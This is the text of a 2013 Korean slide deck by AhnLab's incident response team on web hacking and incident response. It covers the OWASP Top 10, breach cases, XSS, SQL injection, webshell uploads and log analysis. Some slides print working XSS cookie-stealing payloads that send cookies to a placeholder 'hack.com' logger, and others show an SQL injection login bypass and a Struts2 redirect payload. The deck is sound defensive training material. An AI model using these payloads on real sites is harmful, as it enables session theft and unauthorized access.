해킹과침해대응 웹해킹과대응 2013. 10. 17 ( 목 ) 안랩 ASEC 대응팀문영조
Contents 01 웹해킹과취약점 02 웹해킹기법에대한이해 03 웹해킹과침해대응 04 결론
01 웹해킹과취약점
개요 01. 웹해킹과취약점 < 출처 - IBM X-Force 2012 Annual Trend & Risk Report> 4
개요 01. 웹해킹과취약점 웹해킹 (Web Hacking) 웹사이트의취약점을공격하는기술적위협으로, 웹페이지를통하여권한이없는시스템에접근하거나데이터유출또는파괴와같은행위를말한다. - 웹엔진취약점을이용한해킹 - 웹애플리케이션의취약점을이용한해킹 - 각종웹서버및미들웨어를이용한해킹 주로웹애플리케이션을이용한해킹공격이발생하고있으며, SQL Injection, XSS, CSRF, 파일업로드취약점등이가장많이사용되고있다. 5
개요 01. 웹해킹과취약점 웹환경에존재하는다양한문제점 1. 웹사이트와웹애플리케이션이빠르게증가하고있음 2. 미들웨어, 데이터베이스등웹운영환경이다양해지고빠르게변화하고있음 3. 비즈니스환경에서웹에대한의존도가증가하고있음 4. 웹운영자원과시간제약문제 5. 웹애플리케이션보안문제에대한보안인식이성숙되지않음 6. 오픈소스를사용하는경우사이트에맞게새롭게수정하여사용하는문제 7. 사용자가임의의값을입력하거나공격자가조작된입력값을요청할수있음.. 6
웹관련취약점 01. 웹해킹과취약점 보안취약점 (Vulnerability) 컴퓨터의하드웨어또는소프트웨어의결함이나체계설계상의허점으로인해사용자 ( 특히, 악의를가진공격자 ) 에게허용된권한이상의동작이나허용된범위이상의정보열람을가능하게하는약점이다. 넓은의미로사용자및관리자의부주의나사회공학기법에의한약점을포함한정보체계의모든정보보안상의위험성을말한다. 악의적인목적을가진공격자는이러한약점을이용하여공격대상컴퓨터또는정보화기기에서공격자가의도한동작을수행하게하거나특정한정보를탈취한다. 7
웹관련취약점 01. 웹해킹과취약점 국내공개웹게시판보안업데이트권고 < 출처 - KISA 인터넷침해대응센터보안업데이트권고 > 8
웹관련취약점 01. 웹해킹과취약점 OWASP 웹의주요 TOP 10 취약점 웹에관한정보노출, 악성파일및스크립트, 보안취약점등을연구하는 OWASP 에서많이발생하고, 보안상크게영향을줄수있는웹애플리케이션취약점 10 가지를선정하여발표함. < 출처 - OWASP Top Ten Project> 9
웹해킹공격 01. 웹해킹과취약점 대형해킹사고뒤에숨겨진 웹셸 의그림자 - 3.20 6.25 사이버테러도웹셸이시초, 웹셸위험성에대한인식부족 날짜피해사건피해규모 2008 년 1 월옥션웹서버해킹고객정보 1,863 만명정보유출 2011 년 3 월 3.4 디도스대란 악성코드유포지 URL 및웹서버로인한디도스대란 2011 년 5 월현대캐피탈웹서버해킹고객정보 175 만명정보유출 2011 년 7 월 네이트악성코드유포지 URL 해킹 고객정보 3,500 만명정보유출 2012 년 5 월 EBS 웹서버해킹고객정보 400 만명 ( 추정 ) 정보유출 2013 년 3 월 3.20 사이버테러 언론금융기관등 PC, 서버 3 만 2,000 여대피해 2013 년 6 월 6.25 사이버테러 청와대등유관기관홈페이지위 변조피해 < 출처 - 보안뉴스 :http://www.boannews.com/media/view.asp?idx=37444&kind=1> 10
웹해킹공격 01. 웹해킹과취약점 해킹공격으로인한정보유출피해 < 출처 - http://datalossdb.org > 11
웹해킹공격 01. 웹해킹과취약점 웹사이트에삽입된악성스크립트로 DDoS 공격수행 12
웹해킹공격 01. 웹해킹과취약점 Apache Struts2 취약점 (CVE-2013-2251) Apache Struts 는 Java EE 웹애플리케이션을개발하기위한오픈소스프레임워크이다. 2013 년 7 월 16 일 Apache Struts2 의특정매개변수에공격구문을전달하여, 파일생성및원격명령수행가능한취약점이공개되었다. Apache Struts2 공격툴이공개된이후해당취약점을이용한공격이급증하였으며, 기업의중요서버에대한침입시도와다수의피해사례가확인되었다. 입력값검증 (Input Validation) 문제 : http://domain/struts-showcase/fileupload/upload.action?redirect:http://www.malware.co.kr 13
02 웹해킹기법에대한이해
웹서버 02. 웹해킹기법에대한이해 웹서버현황 15
웹서버 02. 웹해킹기법에대한이해 일반적인웹서버구성 웹서버 (Web server) : 웹브라우저클라이언트로부터 HTTP 요청을받아들이고, HTML 문서와같은웹페이지에서흔히찾아볼수있는컨텐츠를제공하는서버. 정적인 HTML 이나이미지파일등을 HTTP 프로토콜을통해웹브라우저로전송함 웹애플리케이션서버 (Web Application Server) : 인터넷상에서 HTTP 를통해애플리케이션을수행해주는미들웨어 ( 소프트웨어엔진 ) 이다. 서버단에서애플리케이션을동작할수있도록지원하며, 주로동적인컨텐츠를제공할때사용함. WAS Server 종류 : tomcat, tmax jeus, BEA Web Logic, IBM Web Spere, JBOSS request response Apache IIS... ASP PHP JSP... Mysql Oracle Mssql Sybase... 16
웹서버 02. 웹해킹기법에대한이해 웹서버네트워크구성도 ( 예 ) 외 부 내 부 17
웹취약점 02. 웹해킹기법에대한이해 웹취약점종류 1 Request 관련취약점 - SQL Injection 취약점 - XSS 취약점 - File Upload 취약점 - URL / Parameter 변조취약점 - Cookie / Session 변조취약점 - etc..( 접근제어, 무작위대입공격등 ) 2 Response 관련취약점 - 환경설정취약점 ( 디렉토리리스팅등 ) - 주요정보수집취약점 ( 구글어택등 ) - file download 취약점 - 불필요한파일존재취약점 18
웹취약점 02. 웹해킹기법에대한이해 XSS 취약점 개요클라이언트측에서실행되는언어로작성된코드를사용자 PC 에서수행되도록악성스크립트를웹페이지, 웹게시판또는이메일에포함시켜사용자에게전송하여공격함 문제점 - 사용자인증정보 (cookie, ID/PW 등 ) 획득 - 인증정보변경을통한지속적인공격가능 - 웹페이지추가및변조 - 사용자 PC 에해킹프로그램설치 19
웹취약점 02. 웹해킹기법에대한이해 XSS 취약점 < 출처 - 데일리시큐 : http://www.dailysecu.com/news_view.php?article_id=5251> 20
웹취약점 02. 웹해킹기법에대한이해 XSS 공격코드 웹페이지 ( 게시판 ) 삽입코드 <script src="http://hack.com/xxs.js"></script> xss.js document.write("<iframe src='http://hack.com/xss.php?coo="+document.cookie+"' width=0 height=0></iframe>"); xss.php <? $cookie=$_get['coo']; $fp=fopen("./cookie_save.txt", "a++"); fputs($fp, "date: ".date("y-m-d H:i:s",time())); fputs($fp, "\n"); fputs($fp, "ip: ".$_SERVER['REMOTE_ADDR']); fputs($fp, "\n"); fputs($fp, "HTTP_REFFERER: ".$_SERVER['HTTP_REFERER']); fputs($fp, "\n"); fputs($fp, "cookie: $cookie"); fputs($fp, "\n"); fputs($fp, "\n"); fputs($fp, "\n"); fclose($fp);?> 21
웹취약점 02. 웹해킹기법에대한이해 XSS 공격코드 IMG 태그를이용하는방법 <img onmouseover="location.location='http://hack.com/xss.php?cookie='+document.cookie"></img> Flash 를이용하는방법 <EMBED width=0 height=0 SRC= [URL]" AllowScriptAccess="always"></EMBED> Flash ActionScript var Command = "javascript:function xss() { if( document.cookie.indexof('xcheck=ok') == (-1) ) { document.cookie='xcheck=ok'; location='[xss PHP URL]?cookie='+document.cookie; } } xss();"; geturl(command, ""); 22
웹취약점 02. 웹해킹기법에대한이해 SQL Injection 개요 DB 와연동된웹어플리케이션에강제로 SQL 구문을삽입, DB 서버의데이터를유출및변조, 관리자인증을우회하는공격기법 MSSQL, Oracle 등모든관계형 RDBMS 공격가능중국에서 SQL Injection 공격을위한전용해킹툴제작, 국내주요사이트공격 문제점 - 인증우회를통한서비스접속 (ID/PW 없이로그인가능 ) 및권한획득 - 데이터베이스관리자및 Table 의등록 / 수정 / 삭제 - 데이터베이스에저장된고객정보등중요정보유출 - 데이터베이스시스템조작에의한서비스중단 23
웹취약점 02. 웹해킹기법에대한이해 SQL Injection 일반적인로그인요청시 SQL query 구성 SELECT * FROM member_table WHERE user_id= admin AND user_pw= 12345 SQL Injection 공격발생시 SQL query 구성 SELECT * FROM member_table WHERE user_id= or 1=1 -- AND user_pw= 1 24
웹취약점 02. 웹해킹기법에대한이해 SQL Injection 확장저장프로시저를이용한명령실행 25
웹취약점 02. 웹해킹기법에대한이해 SQL Injection - 자동화된공격툴 취약한웹페이지정보 26
웹취약점 02. 웹해킹기법에대한이해 SQL Injection - 자동화된공격툴 27
웹취약점 02. 웹해킹기법에대한이해 파일업로드취약점 개요게시판, 공지사항등에악성스크립트파일 (WebShell) 을업로드하여시스템 Shell 권한을획득하는공격기법 문제점 - 원격에서시스템명령어실행 - 시스템정보및관리자권한획득 - 서비스및데이터베이스의중지 - 소스코드열람및정보자산유출 - 소스코드수정및데이터베이스조작 28
웹취약점 02. 웹해킹기법에대한이해 파일업로드취약점 29
웹취약점 02. 웹해킹기법에대한이해 파일업로드취약점 파일헤더조작을이용한필터링우회 30
웹취약점 02. 웹해킹기법에대한이해 휘슬 ( 웹쉘탐지프로그램 ) 휘슬에탐지된 WebShell 31
03 웹해킹과침해대응
취약한웹서버공격을통한내부망해킹 03. 웹해킹피해사례분석 CASE 1 < 출처 - KISA : KRCERT 취약한웹서버공격을통한내부망해킹및악성코드삽입사례 > 33
취약한웹서버공격을통한내부망해킹 03. 웹해킹피해사례분석 CASE 2 < 출처 - KISA : KRCERT 취약한웹서버공격을통한내부망해킹및악성코드삽입사례 > 34
웹로그분석 03. 웹해킹피해사례분석 Visual LogParser http://visuallogparser.codeplex.com 35
웹로그분석 03. 웹해킹피해사례분석 Visual LogParser asp, exe 파일실행로그추출 SELECT DISTINCT date, cs-uri-stem, sc-status, Count(*) AS total From 'c:\log\ex*.log' WHERE TO_LOWERCASE(cs-uri-stem) LIKE '%asp%' or TO_LOWERCASE(cs-uri-stem) LIKE '%.exe%' GROUP BY date, cs-uri-stem, sc-status ORDER BY cs-uri-stem, sc-status 36
웹로그분석 03. 웹해킹피해사례분석 Visual LogParser fuck.asp 실행의심 IP 37
웹로그분석 03. 웹해킹피해사례분석 Visual LogParser 의심 IP 접근로그확인 38
웹로그분석 03. 웹해킹피해사례분석 Visual LogParser 의심 method 정보 공격자는 OPTIONS 메소드를이용해서버에허용된메소드정보를확인하고 PUT, COPY, MOVE 와같은메소드를이용해서웹쉘파일을업로드한것으로확인된다. 39
침해대응사이클 04. 웹해킹과침해대응 예방활동 (Prevention) 취약점분석 / 평가 보안권고문배포 취약점조치가이드제공 보안감사 / 보안컨설팅 보안인식교육 공격탐지 (Detection) 24시간 365일모니터링 이벤트탐지 / 로그분석 이상징후탐지 침해대응 사고대응 (Response) 분석 (Analysis) 사고접수 / 할당 / 처리 / 결과통보 침해사고원인규명및복구 예경보발령을통한피해확산방지 사고재발방지대책마련 해킹 / 웜 / 바이러스분석 침해사고유형및심각도분석 최신공격패턴분석 40
04 결론
결론 04. 웹해킹과침해대응 1. 웹해킹공격으로계속해서피해가발생하는것은웹사이트가보안에취약하게개발되었기때문이다. 2. 지속적으로웹서버와웹애플리케이션의보안설정및최신보안취약점에대한관리가필요하다. 3. 발생가능한다양한공격시나리오를생각해보고모의해킹, 취약점점검등을통해외부에노출된취약점을제거해야한다. 4. 각서버의계정은다른아이디 / 패스워드를사용하고각종어플리케이션 (DB, FTP) 아이디 / 패스워드도다르게설정해야한다. 5. 웹해킹은기업에금전적손실및직 / 간접적인피해를발생시키기때문에이에대한적절한대응방안을수립해야한다. 42
D E S I G N Y O U R S E C U R I T Y